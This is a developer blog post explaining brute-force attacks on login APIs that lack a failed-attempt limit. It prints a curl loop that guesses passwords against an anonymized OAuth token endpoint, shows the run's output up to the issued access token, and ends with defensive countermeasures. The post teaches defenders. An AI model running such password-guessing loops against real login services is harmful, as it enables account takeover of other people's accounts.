Brute force attack against your login APIs: a shell script illustrating how an attacker would abuse the lack of maximum failed login attempts

Dev Tips
, ,
1

In the cyber defense of your organization’s API set, it is important to reckon that not all APIs are created equal. Some APIs, such as those involving authentication are obviously high value targets, and deserve paying more attention to their design and defense.

Sometimes, in a rush to launch online services, development teams might cut corners and treat security as an after-thought. For example, no one can argue that dropping the maximum failed login attempt would save implementation time, but there are grave consequences to be paid – account takeovers by brute force attack.

The below anonymized script illustrate how brute force attack can work:

#!/bin/sh

API_ENDPOINT="https://accounts.example.com/oauth/token"


for i in {10..4}
do
echo "Welcome $i"
PASS="faster${i}ward"
echo $PASS
echo $API_ENDPOINT
curl -H 'authorization: Basic NTQxxxx' --data-binary "grant_type=password&username=0988xxxxxx&password=$PASS" --compressed $API_ENDPOINT
echo $RESULT
sleep 1
done

My test account’s username is 0988xxxxxx, with the correct password being faster4ward.

An attacker can run the script and try faster10ward, faster9ward, faster8ward …until faster4ward is reached, and the system would accept the username / password being correct and return the access_token.

Welcome 10
faster10ward
{"error":"invalid_grant","error_description":"Bad credentials"}
Welcome 9
faster9ward
{"error":"invalid_grant","error_description":"Bad credentials"}
Welcome 8
faster8ward
{"error":"invalid_grant","error_description":"Bad credentials"}
Welcome 7
faster7ward
{"error":"invalid_grant","error_description":"Bad credentials"}
Welcome 6
faster6ward
{"error":"invalid_grant","error_description":"Bad credentials"}
Welcome 5
faster5ward
{"error":"invalid_grant","error_description":"Bad credentials"}
Welcome 4
faster4ward
{"access_token":"eyJh...","token_type":"bearer","refresh_token":"eyJh..."}

The attacker can then loop over say the 10k most common passwords (see this list on GitHub)
until it bingos. If you have been reading OWASP API Top Ten, you would have no problem categorizing this instance under Broken Authentication:

You might be wondering, for the brute force attack to work, wouldn’t the attacker need firstly ascertain a given userid is a registered user of the online service, before millions of weak password can be tried? You are right and in the field, ascertaining that isn’t all that hard, as illustrated by my former blog post:

Effective countermeasures in this case would involve multiple lines of defense:

  • Akamai Account Proctor provides a comprehensive solution designed to prevent fraudulent human logins and mitigate the sophisticated adversarial bots that often precede ATO attempts. The solution utilizes techniques for understanding the behavior of legitimate account owners, then assesses the risk of each authentication request based on anomalies from the typical behavior profile and devices, as well as other advanced detections.
  • WAF should block high rate password guessing attempts, as well as suspicious login requests from behind VPN or Tor.
  • The origin should check if the maximum login failed attempts have been reached.
  • BotMan SDK to be adopted to allow Akamai Edge to detect if the request is from a real device or if the request is modified by a script or a bot.
  • API Security can be a radar screen of your API attack surface, so that you are always in the know regarding what kind of traffic are hitting your API endpoints.
2 Likes